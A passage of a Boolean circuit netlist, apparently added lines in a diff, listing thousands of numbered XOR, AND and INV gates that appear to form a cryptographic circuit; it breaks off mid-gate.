+2 1 5533 5541 5532 XOR +2 1 5539 5533 5531 XOR +2 1 5532 5564 5509 AND +2 1 5541 5531 5530 AND +2 1 5530 5548 5500 XOR +2 1 5500 5494 5522 XOR +2 1 33495 5500 5483 XOR +2 1 5522 5563 5511 AND +2 1 5533 5491 5446 XOR +2 1 5483 5446 5529 XOR +2 1 5533 5550 5445 XOR +2 1 5539 5541 5538 XOR +2 1 5530 5538 5528 XOR +2 1 5540 5538 5537 AND +2 1 5537 5493 5536 XOR +2 1 5537 5487 5439 XOR +2 1 5537 5549 5442 XOR +2 1 5536 5562 5506 AND +2 1 5536 5555 5515 AND +2 1 5536 5528 5527 AND +2 1 5527 5551 5444 XOR +2 1 5483 5444 5436 XOR +2 1 5473 5436 5443 XOR +2 1 5442 5478 5438 XOR +2 1 33499 5438 5437 XOR +2 1 5436 5437 5521 XOR +2 1 5521 5554 5513 AND +2 1 5521 5569 5504 AND +2 1 5527 5496 5486 XOR +2 1 5486 5488 5526 XOR +2 1 5526 5561 5507 AND +2 1 5515 5507 5471 XOR +2 1 5526 5565 5516 AND +2 1 5513 5516 5468 XOR +1 1 5468 5465 INV +2 1 5486 5439 5523 XOR +2 1 5515 5516 5453 XOR +2 1 5445 5547 5440 XOR +2 1 5440 5443 5525 XOR +2 1 5525 5557 5512 AND +2 1 33501 5438 5441 XOR +2 1 5440 5441 5524 XOR +2 1 5522 5559 5520 AND +2 1 5529 5558 5519 AND +2 1 5532 33494 5518 AND +2 1 5518 5520 5499 XOR +2 1 5523 5553 5517 AND +2 1 5516 5517 5502 XOR +2 1 5513 5502 5492 XOR +2 1 5509 5492 5458 XOR +1 1 5458 5455 INV +2 1 5524 5556 5514 AND +2 1 5513 5514 5464 XOR +2 1 5514 5492 5452 XOR +2 1 5529 5560 5510 AND +2 1 5523 5568 5508 AND +2 1 5517 5508 5469 XOR +2 1 5508 5512 5484 XOR +1 1 5484 5462 INV +2 1 5462 5506 5461 XOR +2 1 5461 5499 5457 XOR +2 1 5524 5567 5505 AND +2 1 5504 5505 5498 XOR +2 1 5510 5498 5480 XOR +2 1 5511 5480 5481 XOR +2 1 5481 5452 35005 XOR +2 1 5471 5498 5467 XOR +2 1 5499 5467 5470 XOR +2 1 5505 5457 5460 XOR +2 1 5469 5470 5573 XOR +2 1 5480 5457 5456 XOR +2 1 5455 5456 35002 XOR +2 1 5519 5481 5485 XOR +2 1 5518 5485 5454 XOR +2 1 5520 5485 5490 XOR +2 1 5502 5490 35004 XOR +2 1 5490 5464 5571 XOR +2 1 5453 5454 35003 XOR +2 1 5462 5467 5466 XOR +2 1 5465 5466 5572 XOR +2 1 5572 32988 5618 XOR +1 1 5572 35001 INV +2 1 5525 5566 5503 AND +2 1 5514 5503 5463 XOR +1 1 5463 5459 INV +2 1 5459 5460 5570 XOR +2 1 5357 5348 5403 XOR +2 1 5403 5402 5399 AND +2 1 5399 5401 5398 XOR +2 1 5400 5398 5397 AND +2 1 5399 5354 5394 XOR +2 1 5394 5395 5393 AND +2 1 5393 5401 5392 XOR +2 1 5393 5352 5307 XOR +2 1 5392 5424 5369 AND +2 1 5392 33486 5378 AND +2 1 5397 5409 5303 XOR +2 1 5303 5339 5299 XOR +2 1 33491 5299 5298 XOR +2 1 33493 5299 5302 XOR +2 1 5393 5410 5306 XOR +2 1 5306 5407 5301 XOR +2 1 5301 5302 5384 XOR +2 1 5384 5427 5365 AND +2 1 5384 5416 5374 AND +2 1 5397 5348 5300 XOR +2 1 5399 5393 5391 XOR +2 1 5401 5391 5390 AND +2 1 5390 5408 5361 XOR +2 1 5361 5355 5382 XOR +2 1 5382 5423 5371 AND +2 1 33487 5361 5344 XOR +2 1 5344 5307 5389 XOR +2 1 5389 5420 5370 AND +2 1 5389 5418 5379 AND +2 1 5382 5419 5380 AND +2 1 5378 5380 5360 XOR +2 1 5397 5354 5396 XOR +2 1 5396 5422 5366 AND +2 1 5396 5415 5375 AND +2 1 33484 21920 22001 XOR +2 1 33482 33484 21921 XOR +2 1 33478 33484 21925 XOR +2 1 21925 21920 22000 XOR +2 1 33483 21925 22010 XOR +2 1 33479 22010 22006 XOR +2 1 21921 33483 21880 XOR +2 1 33478 21880 22009 XOR +2 1 22009 33478 21995 AND +2 1 22010 22006 21993 AND +2 1 5390 5398 5388 XOR +2 1 5396 5388 5387 AND +2 1 5387 5411 5305 XOR +2 1 5344 5305 5297 XOR +2 1 5297 5298 5381 XOR +2 1 5381 5429 5364 AND +2 1 5381 5414 5373 AND +2 1 5373 5374 5325 XOR +2 1 5334 5297 5304 XOR +2 1 5301 5304 5385 XOR +2 1 5385 5417 5372 AND +2 1 5385 5426 5363 AND +2 1 5374 5363 5324 XOR +1 1 5324 5320 INV +2 1 5387 5357 5347 XOR +2 1 5347 5300 5383 XOR +2 1 5383 5428 5368 AND +2 1 5368 5372 5345 XOR +1 1 5345 5323 INV +2 1 5323 5366 5322 XOR +2 1 5322 5360 5318 XOR +2 1 5365 5318 5321 XOR +2 1 5320 5321 5430 XOR +2 1 5383 5413 5377 AND +2 1 5377 5368 5330 XOR +2 1 5347 5349 5386 XOR +2 1 5386 5421 5367 AND +2 1 5375 5367 5332 XOR +2 1 5386 5425 5376 AND +2 1 5373 5376 5329 XOR +1 1 5329 5326 INV +2 1 5375 5376 5314 XOR +2 1 5364 5365 5359 XOR +2 1 5332 5359 5328 XOR +2 1 5323 5328 5327 XOR +2 1 5326 5327 5432 XOR +2 1 5432 32905 5581 XOR +2 1 5580 5581 5914 XOR +2 1 5914 5859 34896 XOR +2 1 34896 350 33543 XOR +1 1 5432 35015 INV +2 1 32912 35015 5865 XOR +2 1 33020 5432 5713 XOR +2 1 5865 5863 5703 XOR +2 1 5703 5704 34920 XOR +2 1 34920 326 33567 XOR +2 1 5360 5328 5331 XOR +2 1 5330 5331 5433 XOR +2 1 5370 5359 5341 XOR +2 1 5341 5318 5317 XOR +2 1 5371 5341 5342 XOR +2 1 5379 5342 5346 XOR +2 1 5380 5346 5351 XOR +2 1 5351 5325 5431 XOR +2 1 5378 5346 5315 XOR +2 1 5314 5315 35017 XOR +1 1 35017 5585 INV +2 1 5585 35011 5584 XOR +2 1 5583 5584 5913 XOR +2 1 5913 5851 34898 XOR +2 1 34898 348 33545 XOR +2 1 33543 33545 14968 XOR +2 1 35021 5585 5597 XOR +2 1 35012 35017 5858 XOR +1 1 5858 5722 INV +1 1 35002 5625 INV +2 1 35003 5625 5624 XOR +2 1 5865 5856 5725 XOR +2 1 35011 5725 34905 XOR +2 1 34905 341 33552 XOR +2 1 32987 5625 5803 XOR +2 1 5722 5846 5720 XOR +2 1 33507 33509 23448 XOR +2 1 23448 23543 23528 XOR +2 1 23448 23454 23536 XOR +2 1 33507 23454 23539 XOR +2 1 23450 23448 23410 XOR +2 1 23450 33507 23409 XOR +2 1 33502 23409 23538 XOR +2 1 23538 33502 23524 AND +2 1 23543 23528 23519 AND +2 1 5376 5377 32651 XOR +2 1 5373 32651 5353 XOR +2 1 5369 5353 5319 XOR +2 1 5374 5353 5313 XOR +1 1 5319 5316 INV +2 1 5316 5317 35016 XOR +2 1 35011 35016 5861 XOR +2 1 5861 5859 5702 XOR +2 1 35020 5702 34921 XOR +1 1 5861 5714 INV +2 1 5714 5851 5723 XOR +2 1 5714 35024 5712 XOR +2 1 5712 5713 34913 XOR +2 1 34913 333 33560 XOR +2 1 35016 32912 5740 XOR +2 1 35020 35016 5595 XOR +2 1 5739 5740 34897 XOR +2 1 34897 349 33544 XOR +2 1 33543 33544 14985 XOR +2 1 34921 325 33568 XOR +2 1 33567 33568 23325 XOR +2 1 33544 14968 14970 XOR +2 1 33545 33544 14945 XOR +2 1 5342 5313 35019 XOR +2 1 35014 35019 5826 XOR +2 1 5826 32940 5689 XOR +2 1 5689 5690 34926 XOR +2 1 34926 320 33573 XOR +1 1 5826 5918 INV +2 1 5918 35012 5724 XOR +2 1 5723 5724 34906 XOR +2 1 34906 340 33553 XOR +2 1 33553 33552 18142 XOR +2 1 5863 5826 5729 XOR +2 1 32905 5729 34903 XOR +2 1 34903 343 33550 XOR +2 1 5918 35013 5721 XOR +2 1 5720 5721 34907 XOR +2 1 34907 339 33554 XOR +2 1 33552 33554 18261 XOR +2 1 33573 33567 23403 XOR +2 1 33573 33568 23401 XOR +2 1 5918 32912 5728 XOR +2 1 35019 35023 5833 XOR +2 1 5833 35025 5594 XOR +2 1 5833 32933 5592 XOR +1 1 5833 5598 INV +2 1 5598 35026 5596 XOR +2 1 5596 5597 5907 XOR +2 1 5594 5595 5908 XOR +2 1 5908 5858 34914 XOR +2 1 34914 332 33561 XOR +2 1 33561 33560 19949 XOR +2 1 35019 5734 34902 XOR +2 1 34902 344 33549 XOR +2 1 33549 33544 15061 XOR +2 1 33549 33543 15063 XOR +2 1 32651 5351 35018 XOR +2 1 35018 35012 5587 XOR +2 1 5586 5587 5912 XOR +2 1 5912 5846 34899 XOR +2 1 34899 347 33546 XOR +2 1 33546 33549 15062 XOR +2 1 15062 14985 15058 XOR +2 1 14968 15062 15054 XOR +2 1 33544 33546 15064 XOR +2 1 15054 15058 15047 AND +2 1 35013 35018 5854 XOR +2 1 5907 5854 34915 XOR +2 1 34915 331 33562 XOR +2 1 5854 5841 5719 XOR +2 1 32910 5719 34908 XOR +2 1 34908 338 33555 XOR +2 1 33560 33562 20068 XOR +1 1 5854 5696 INV +2 1 5696 5851 5693 XOR +2 1 5693 5694 34923 XOR +2 1 34923 323 33570 XOR +2 1 33570 33573 23402 XOR +2 1 23402 23325 23398 XOR +2 1 33568 33570 23404 XOR +2 1 5695 35018 5710 XOR +2 1 5858 5856 5700 XOR +2 1 5700 5701 34922 XOR +2 1 34922 324 33569 XOR +2 1 33567 33569 23308 XOR +2 1 33568 23308 23310 XOR +2 1 23308 23402 23394 XOR +2 1 33569 33568 23285 XOR +2 1 23394 23398 23387 AND +1 1 5431 32771 INV +2 1 32771 33019 5843 XOR +2 1 5843 5841 5691 XOR +2 1 32911 5691 34925 XOR +2 1 34925 321 33572 XOR +2 1 5843 5826 5706 XOR +2 1 35027 5706 34918 XOR +2 1 34918 328 33565 XOR +2 1 33562 33565 20066 XOR +2 1 33565 33560 20065 XOR +2 1 5843 32940 5735 XOR +2 1 5735 5736 34901 XOR +2 1 34901 345 33548 XOR +2 1 33548 14970 15051 XOR +2 1 33546 33548 14971 XOR +2 1 15047 14971 14974 XOR +2 1 15062 15051 15041 AND +2 1 15041 14970 14972 XOR +2 1 14974 14972 14978 XOR +2 1 33549 14978 14983 XOR +2 1 5825 32771 5716 XOR +2 1 5716 5717 34910 XOR +2 1 34910 336 33557 XOR +2 1 33555 33557 18166 XOR +2 1 18166 18261 18246 XOR +2 1 33554 33557 18259 XOR +2 1 33557 33552 18258 XOR +2 1 18261 18246 18237 AND +2 1 33572 23310 23391 XOR +2 1 33570 33572 23311 XOR +2 1 23387 23311 23314 XOR +2 1 23402 23391 23381 AND +2 1 23381 23310 23312 XOR +2 1 23314 23312 23318 XOR +2 1 33573 23318 23323 XOR +1 1 5433 32772 INV +2 1 33013 32772 5593 XOR +2 1 5592 5593 5909 XOR +2 1 32905 32772 5866 XOR +2 1 5866 5859 5727 XOR +2 1 5909 5865 34912 XOR +2 1 34912 334 33559 XOR +2 1 5866 5833 5715 XOR +2 1 32934 5715 34911 XOR +2 1 34911 335 33558 XOR +2 1 33559 33561 19972 XOR +2 1 33560 19972 19974 XOR +2 1 19972 20066 20058 XOR +2 1 33558 20058 20057 XOR +2 1 33559 33560 19989 XOR +2 1 20066 19989 20062 XOR +2 1 33565 33559 20067 XOR +2 1 20058 20062 20051 AND +2 1 5866 5825 5705 XOR +2 1 33013 5705 34919 XOR +2 1 34919 327 33566 XOR +2 1 32772 5741 34895 XOR +2 1 34895 351 33542 XOR +2 1 33542 15054 15053 XOR +2 1 33542 33548 14975 XOR +2 1 14975 14970 15050 XOR +2 1 5727 5728 5726 XOR +1 1 5726 34904 INV +2 1 34904 342 33551 XOR +2 1 33551 33553 18165 XOR +2 1 33552 18165 18167 XOR +2 1 33555 18167 18245 XOR +2 1 18165 18259 18251 XOR +2 1 33550 18251 18250 XOR +2 1 33551 33552 18182 XOR +2 1 18259 18182 18255 XOR +2 1 33557 33551 18260 XOR +2 1 18251 18255 18244 AND +2 1 18260 18245 18241 AND +2 1 18241 18166 18170 XOR +2 1 33566 23394 23393 XOR +2 1 33566 33572 23315 XOR +2 1 23315 23310 23390 XOR +1 1 5570 32773 INV +1 1 5571 32774 INV +1 1 5573 32775 INV +2 1 32987 32775 5622 XOR +1 1 5430 32776 INV +2 1 32776 35013 5738 XOR +2 1 32771 32776 5708 XOR +2 1 5707 5708 34917 XOR +2 1 34917 329 33564 XOR +2 1 33564 19974 20055 XOR +2 1 33562 33564 19975 XOR +2 1 20051 19975 19978 XOR +2 1 33558 33564 19979 XOR +2 1 19979 19974 20054 XOR +2 1 20066 20055 20045 AND +2 1 20045 19974 19976 XOR +2 1 19978 19976 19982 XOR +2 1 33565 19982 19987 XOR +2 1 32910 32776 5850 XOR +2 1 5850 5844 5718 XOR +2 1 5850 5846 5692 XOR +2 1 33018 5692 34924 XOR +2 1 34924 322 33571 XOR +2 1 33019 5718 34909 XOR +2 1 34909 337 33556 XOR +2 1 33556 18167 18248 XOR +2 1 33554 33556 18168 XOR +2 1 18244 18168 18171 XOR +2 1 33550 33556 18172 XOR +2 1 18172 18167 18247 XOR +2 1 18166 18172 18254 XOR +2 1 18182 18254 18252 XOR +2 1 33555 18172 18257 XOR +2 1 33551 18257 18253 XOR +2 1 18168 18166 18128 XOR +2 1 18165 18128 18249 XOR +2 1 18168 33555 18127 XOR +2 1 33550 18127 18256 XOR +2 1 18252 18250 18243 AND +2 1 18237 18243 18189 XOR +2 1 18256 33550 18242 AND +2 1 18257 18253 18240 AND +2 1 18254 18247 18239 AND +2 1 18259 18248 18238 AND +2 1 18238 18167 18169 XOR +2 1 18171 18169 18175 XOR +2 1 33557 18175 18180 XOR +2 1 18189 18180 18235 XOR +2 1 18237 18238 18141 XOR +2 1 18141 18142 18188 XOR +2 1 18188 18170 18187 XOR +2 1 18240 18187 18234 XOR +2 1 18258 18249 18236 AND +2 1 18236 18239 18190 XOR +2 1 18236 18242 18194 XOR +2 1 18194 18166 18181 XOR +2 1 18189 18181 18232 XOR +2 1 18237 18190 18184 XOR +2 1 18170 18190 18144 XOR +2 1 18144 18169 18233 XOR +2 1 18175 18194 18143 XOR +2 1 33555 18143 18186 XOR +2 1 18240 18184 18140 XOR +2 1 33551 18140 18227 XOR +2 1 18235 18234 18231 AND +2 1 18231 18186 18226 XOR +2 1 18231 18233 18230 XOR +2 1 18232 18230 18229 AND +2 1 18229 18186 18228 XOR +2 1 18229 18241 18135 XOR +2 1 18135 18171 18131 XOR +2 1 33557 18131 18134 XOR +2 1 18229 18180 18132 XOR +2 1 33555 18131 18130 XOR +2 1 18226 18227 18225 AND +2 1 18225 18233 18224 XOR +2 1 18231 18225 18223 XOR +2 1 18225 18184 18139 XOR +2 1 18225 18242 18138 XOR +2 1 18138 18239 18133 XOR +2 1 18133 18134 18216 XOR +2 1 18233 18223 18222 AND +2 1 18222 18230 18220 XOR +2 1 18222 18240 18193 XOR +2 1 18193 18187 18214 XOR +2 1 33551 18193 18176 XOR +2 1 18176 18139 18221 XOR +2 1 18228 18220 18219 AND +2 1 18219 18189 18179 XOR +2 1 18179 18181 18218 XOR +2 1 18219 18243 18137 XOR +2 1 18176 18137 18129 XOR +2 1 18166 18129 18136 XOR +2 1 18133 18136 18217 XOR +2 1 18179 18132 18215 XOR +2 1 18129 18130 18213 XOR +2 1 18214 18251 18212 AND +2 1 18221 18250 18211 AND +2 1 18224 33550 18210 AND +2 1 18210 18212 18192 XOR +2 1 18215 18245 18209 AND +2 1 18218 18257 18208 AND +2 1 18228 18247 18207 AND +2 1 18207 18208 18146 XOR +2 1 18216 18248 18206 AND +2 1 18213 18246 18205 AND +2 1 18205 18208 18161 XOR +1 1 18161 18158 INV +2 1 18205 18206 18157 XOR +2 1 18217 18249 18204 AND +2 1 18214 18255 18203 AND +2 1 18221 18252 18202 AND +2 1 18224 18256 18201 AND +2 1 18215 18260 18200 AND +2 1 18200 18204 18177 XOR +2 1 18209 18200 18162 XOR +1 1 18177 18155 INV +2 1 18218 18253 18199 AND +2 1 18207 18199 18164 XOR +2 1 18228 18254 18198 AND +2 1 18155 18198 18154 XOR +2 1 18154 18192 18150 XOR +2 1 18216 18259 18197 AND +2 1 18197 18150 18153 XOR +2 1 18213 18261 18196 AND +2 1 18196 18197 18191 XOR +2 1 18202 18191 18173 XOR +2 1 18203 18173 18174 XOR +2 1 18211 18174 18178 XOR +2 1 18212 18178 18183 XOR +2 1 18164 18191 18160 XOR +2 1 18192 18160 18163 XOR +2 1 18162 18163 18265 XOR +2 1 18155 18160 18159 XOR +2 1 18158 18159 18264 XOR +2 1 18183 18157 18263 XOR +2 1 18173 18150 18149 XOR +2 1 18210 18178 18147 XOR +2 1 18146 18147 35254 XOR +2 1 18217 18258 18195 AND +2 1 18206 18195 18156 XOR +1 1 18156 18152 INV +2 1 18152 18153 18262 XOR +2 1 5737 5738 34900 XOR +2 1 34900 346 33547 XOR +2 1 33547 14970 15048 XOR +2 1 33547 33549 14969 XOR +2 1 14969 15064 15049 XOR +2 1 14969 14975 15057 XOR +2 1 14985 15057 15055 XOR +2 1 33547 14975 15060 XOR +2 1 33543 15060 15056 XOR +2 1 14971 14969 14931 XOR +2 1 14968 14931 15052 XOR +2 1 14971 33547 14930 XOR +2 1 33542 14930 15059 XOR +2 1 15055 15053 15046 AND +2 1 15059 33542 15045 AND +2 1 15063 15048 15044 AND +2 1 15044 14969 14973 XOR +2 1 15060 15056 15043 AND +2 1 15057 15050 15042 AND +2 1 15064 15049 15040 AND +2 1 15040 15046 14992 XOR +2 1 14992 14983 15038 XOR +2 1 15040 15041 14944 XOR +2 1 14944 14945 14991 XOR +2 1 14991 14973 14990 XOR +2 1 15043 14990 15037 XOR +2 1 15061 15052 15039 AND +2 1 15039 15042 14993 XOR +2 1 15039 15045 14997 XOR +2 1 14997 14969 14984 XOR +2 1 14992 14984 15035 XOR +2 1 15040 14993 14987 XOR +2 1 14973 14993 14947 XOR +2 1 14947 14972 15036 XOR +2 1 14978 14997 14946 XOR +2 1 33547 14946 14989 XOR +2 1 15043 14987 14943 XOR +2 1 33543 14943 15030 XOR +2 1 15038 15037 15034 AND +2 1 15034 14989 15029 XOR +2 1 15034 15036 15033 XOR +2 1 15035 15033 15032 AND +2 1 15032 14989 15031 XOR +2 1 15032 15044 14938 XOR +2 1 14938 14974 14934 XOR +2 1 33549 14934 14937 XOR +2 1 15032 14983 14935 XOR +2 1 33547 14934 14933 XOR +2 1 15029 15030 15028 AND +2 1 15028 15036 15027 XOR +2 1 15034 15028 15026 XOR +2 1 15028 14987 14942 XOR +2 1 15028 15045 14941 XOR +2 1 14941 15042 14936 XOR +2 1 14936 14937 15019 XOR +2 1 15036 15026 15025 AND +2 1 15025 15033 15023 XOR +2 1 15025 15043 14996 XOR +2 1 14996 14990 15017 XOR +2 1 33543 14996 14979 XOR +2 1 14979 14942 15024 XOR +2 1 15031 15023 15022 AND +2 1 15022 14992 14982 XOR +2 1 14982 14984 15021 XOR +2 1 15022 15046 14940 XOR +2 1 14979 14940 14932 XOR +2 1 14969 14932 14939 XOR +2 1 14936 14939 15020 XOR +2 1 14982 14935 15018 XOR +2 1 14932 14933 15016 XOR +2 1 15017 15054 15015 AND +2 1 15024 15053 15014 AND +2 1 15027 33542 15013 AND +2 1 15013 15015 14995 XOR +2 1 15018 15048 15012 AND +2 1 15021 15060 15011 AND +2 1 15031 15050 15010 AND +2 1 15010 15011 14949 XOR +2 1 15019 15051 15009 AND +2 1 15016 15049 15008 AND +2 1 15008 15011 14964 XOR +1 1 14964 14961 INV +2 1 15008 15009 14960 XOR +2 1 15020 15052 15007 AND +2 1 15017 15058 15006 AND +2 1 15024 15055 15005 AND +2 1 15027 15059 15004 AND +2 1 15018 15063 15003 AND +2 1 15003 15007 14980 XOR +2 1 15012 15003 14965 XOR +1 1 14980 14958 INV +2 1 15021 15056 15002 AND +2 1 15010 15002 14967 XOR +2 1 15031 15057 15001 AND +2 1 14958 15001 14957 XOR +2 1 14957 14995 14953 XOR +2 1 15019 15062 15000 AND +2 1 15000 14953 14956 XOR +2 1 15016 15064 14999 AND +2 1 14999 15000 14994 XOR +2 1 15005 14994 14976 XOR +2 1 15006 14976 14977 XOR +2 1 15014 14977 14981 XOR +2 1 15015 14981 14986 XOR +2 1 14967 14994 14963 XOR +2 1 14995 14963 14966 XOR +2 1 14965 14966 15068 XOR +2 1 14958 14963 14962 XOR +2 1 14961 14962 15067 XOR +2 1 14986 14960 15066 XOR +2 1 14976 14953 14952 XOR +2 1 15013 14981 14950 XOR +2 1 14949 14950 35193 XOR +2 1 15020 15061 14998 AND +2 1 15009 14998 14959 XOR +1 1 14959 14955 INV +2 1 14955 14956 15065 XOR +2 1 33571 23310 23388 XOR +2 1 33571 33573 23309 XOR +2 1 23309 23404 23389 XOR +2 1 23309 23315 23397 XOR +2 1 23325 23397 23395 XOR +2 1 33571 23315 23400 XOR +2 1 33567 23400 23396 XOR +2 1 23311 23309 23271 XOR +2 1 23308 23271 23392 XOR +2 1 23311 33571 23270 XOR +2 1 33566 23270 23399 XOR +2 1 23395 23393 23386 AND +2 1 23399 33566 23385 AND +2 1 23403 23388 23384 AND +2 1 23384 23309 23313 XOR +2 1 23400 23396 23383 AND +2 1 23397 23390 23382 AND +2 1 23404 23389 23380 AND +2 1 23380 23386 23332 XOR +2 1 23332 23323 23378 XOR +2 1 23380 23381 23284 XOR +2 1 23284 23285 23331 XOR +2 1 23331 23313 23330 XOR +2 1 23383 23330 23377 XOR +2 1 23401 23392 23379 AND +2 1 23379 23382 23333 XOR +2 1 23379 23385 23337 XOR +2 1 23337 23309 23324 XOR +2 1 23332 23324 23375 XOR +2 1 23380 23333 23327 XOR +2 1 23313 23333 23287 XOR +2 1 23287 23312 23376 XOR +2 1 23318 23337 23286 XOR +2 1 33571 23286 23329 XOR +2 1 23383 23327 23283 XOR +2 1 33567 23283 23370 XOR +2 1 23378 23377 23374 AND +2 1 23374 23329 23369 XOR +2 1 23374 23376 23373 XOR +2 1 23375 23373 23372 AND +2 1 23372 23329 23371 XOR +2 1 23372 23384 23278 XOR +2 1 23278 23314 23274 XOR +2 1 33573 23274 23277 XOR +2 1 23372 23323 23275 XOR +2 1 33571 23274 23273 XOR +2 1 23369 23370 23368 AND +2 1 23368 23376 23367 XOR +2 1 23374 23368 23366 XOR +2 1 23368 23327 23282 XOR +2 1 23368 23385 23281 XOR +2 1 23281 23382 23276 XOR +2 1 23276 23277 23359 XOR +2 1 23376 23366 23365 AND +2 1 23365 23373 23363 XOR +2 1 23365 23383 23336 XOR +2 1 23336 23330 23357 XOR +2 1 33567 23336 23319 XOR +2 1 23319 23282 23364 XOR +2 1 23371 23363 23362 AND +2 1 23362 23332 23322 XOR +2 1 23322 23324 23361 XOR +2 1 23362 23386 23280 XOR +2 1 23319 23280 23272 XOR +2 1 23309 23272 23279 XOR +2 1 23276 23279 23360 XOR +2 1 23322 23275 23358 XOR +2 1 23272 23273 23356 XOR +2 1 23357 23394 23355 AND +2 1 23364 23393 23354 AND +2 1 23367 33566 23353 AND +2 1 23353 23355 23335 XOR +2 1 23358 23388 23352 AND +2 1 23361 23400 23351 AND +2 1 23371 23390 23350 AND +2 1 23350 23351 23289 XOR +2 1 23359 23391 23349 AND +2 1 23356 23389 23348 AND +2 1 23348 23351 23304 XOR +1 1 23304 23301 INV +2 1 23348 23349 23300 XOR +2 1 23360 23392 23347 AND +2 1 23357 23398 23346 AND +2 1 23364 23395 23345 AND +2 1 23367 23399 23344 AND +2 1 23358 23403 23343 AND +2 1 23343 23347 23320 XOR +2 1 23352 23343 23305 XOR +1 1 23320 23298 INV +2 1 23361 23396 23342 AND +2 1 23350 23342 23307 XOR +2 1 23371 23397 23341 AND +2 1 23298 23341 23297 XOR +2 1 23297 23335 23293 XOR +2 1 23359 23402 23340 AND +2 1 23340 23293 23296 XOR +2 1 23356 23404 23339 AND +2 1 23339 23340 23334 XOR +2 1 23345 23334 23316 XOR +2 1 23346 23316 23317 XOR +2 1 23354 23317 23321 XOR +2 1 23355 23321 23326 XOR +2 1 23307 23334 23303 XOR +2 1 23335 23303 23306 XOR +2 1 23305 23306 23408 XOR +2 1 23298 23303 23302 XOR +2 1 23301 23302 23407 XOR +2 1 23326 23300 23406 XOR +2 1 23316 23293 23292 XOR +2 1 23353 23321 23290 XOR +2 1 23289 23290 35226 XOR +2 1 23360 23401 23338 AND +2 1 23349 23338 23299 XOR +1 1 23299 23295 INV +2 1 23295 23296 23405 XOR +2 1 15011 15012 32661 XOR +2 1 32661 14986 35194 XOR +2 1 15008 32661 14988 XOR +2 1 15004 14988 14954 XOR +1 1 14954 14951 INV +2 1 14951 14952 35192 XOR +2 1 15009 14988 14948 XOR +2 1 14977 14948 35195 XOR +2 1 5850 32939 5711 XOR +1 1 5711 5709 INV +2 1 5709 5710 34916 XOR +2 1 34916 330 33563 XOR +2 1 33563 19974 20052 XOR +2 1 33563 33565 19973 XOR +2 1 19973 20068 20053 XOR +2 1 19973 19979 20061 XOR +2 1 19989 20061 20059 XOR +2 1 33563 19979 20064 XOR +2 1 33559 20064 20060 XOR +2 1 19975 19973 19935 XOR +2 1 19972 19935 20056 XOR +2 1 19975 33563 19934 XOR +2 1 33558 19934 20063 XOR +2 1 20059 20057 20050 AND +2 1 20063 33558 20049 AND +2 1 20067 20052 20048 AND +2 1 20048 19973 19977 XOR +2 1 20064 20060 20047 AND +2 1 20061 20054 20046 AND +2 1 20068 20053 20044 AND +2 1 20044 20050 19996 XOR +2 1 19996 19987 20042 XOR +2 1 20044 20045 19948 XOR +2 1 19948 19949 19995 XOR +2 1 19995 19977 19994 XOR +2 1 20047 19994 20041 XOR +2 1 20065 20056 20043 AND +2 1 20043 20046 19997 XOR +2 1 20043 20049 20001 XOR +2 1 20001 19973 19988 XOR +2 1 19996 19988 20039 XOR +2 1 20044 19997 19991 XOR +2 1 19977 19997 19951 XOR +2 1 19951 19976 20040 XOR +2 1 19982 20001 19950 XOR +2 1 33563 19950 19993 XOR +2 1 20047 19991 19947 XOR +2 1 33559 19947 20034 XOR +2 1 20042 20041 20038 AND +2 1 20038 19993 20033 XOR +2 1 20038 20040 20037 XOR +2 1 20039 20037 20036 AND +2 1 20036 19993 20035 XOR +2 1 20036 20048 19942 XOR +2 1 19942 19978 19938 XOR +2 1 33565 19938 19941 XOR +2 1 20036 19987 19939 XOR +2 1 33563 19938 19937 XOR +2 1 20033 20034 20032 AND +2 1 20032 20040 20031 XOR +2 1 20038 20032 20030 XOR +2 1 20032 19991 19946 XOR +2 1 20032 20049 19945 XOR +2 1 19945 20046 19940 XOR +2 1 19940 19941 20023 XOR +2 1 20040 20030 20029 AND +2 1 20029 20037 20027 XOR +2 1 20029 20047 20000 XOR +2 1 20000 19994 20021 XOR +2 1 33559 20000 19983 XOR +2 1 19983 19946 20028 XOR +2 1 20035 20027 20026 AND +2 1 20026 19996 19986 XOR +2 1 19986 19988 20025 XOR +2 1 20026 20050 19944 XOR +2 1 19983 19944 19936 XOR +2 1 19973 19936 19943 XOR +2 1 19940 19943 20024 XOR +2 1 19986 19939 20022 XOR +2 1 19936 19937 20020 XOR +2 1 20021 20058 20019 AND +2 1 20028 20057 20018 AND +2 1 20031 33558 20017 AND +2 1 20017 20019 19999 XOR +2 1 20022 20052 20016 AND +2 1 20025 20064 20015 AND +2 1 20035 20054 20014 AND +2 1 20014 20015 19953 XOR +2 1 20023 20055 20013 AND +2 1 20020 20053 20012 AND +2 1 20012 20015 19968 XOR +1 1 19968 19965 INV +2 1 20012 20013 19964 XOR +2 1 20024 20056 20011 AND +2 1 20021 20062 20010 AND +2 1 20028 20059 20009 AND +2 1 20031 20063 20008 AND +2 1 20022 20067 20007 AND +2 1 20007 20011 19984 XOR +2 1 20016 20007 19969 XOR +1 1 19984 19962 INV +2 1 20025 20060 20006 AND +2 1 20014 20006 19971 XOR +2 1 20035 20061 20005 AND +2 1 19962 20005 19961 XOR +2 1 19961 19999 19957 XOR +2 1 20023 20066 20004 AND +2 1 20004 19957 19960 XOR +2 1 20020 20068 20003 AND +2 1 20003 20004 19998 XOR +2 1 20009 19998 19980 XOR +2 1 20010 19980 19981 XOR +2 1 20018 19981 19985 XOR +2 1 20019 19985 19990 XOR +2 1 19971 19998 19967 XOR +2 1 19999 19967 19970 XOR +2 1 19969 19970 20072 XOR +2 1 19962 19967 19966 XOR +2 1 19965 19966 20071 XOR +2 1 19990 19964 20070 XOR +2 1 19980 19957 19956 XOR +2 1 20017 19985 19954 XOR +2 1 19953 19954 35241 XOR +2 1 20024 20065 20002 AND +2 1 20013 20002 19963 XOR +1 1 19963 19959 INV +2 1 19959 19960 20069 XOR +2 1 18208 18209 32684 XOR +2 1 18205 32684 18185 XOR +2 1 18206 18185 18145 XOR +2 1 18174 18145 35256 XOR +2 1 18201 18185 18151 XOR +1 1 18151 18148 INV +2 1 18148 18149 35253 XOR +2 1 35254 35253 6343 XOR +2 1 32684 18183 35255 XOR +2 1 20015 20016 32697 XOR +2 1 20012 32697 19992 XOR +2 1 20008 19992 19958 XOR +2 1 20013 19992 19952 XOR +2 1 19981 19952 35243 XOR +1 1 19958 19955 INV +2 1 19955 19956 35240 XOR +2 1 32697 19990 35242 XOR +2 1 23351 23352 32721 XOR +2 1 23348 32721 23328 XOR +2 1 23349 23328 23288 XOR +2 1 23317 23288 35228 XOR +2 1 23344 23328 23294 XOR +1 1 23294 23291 INV +2 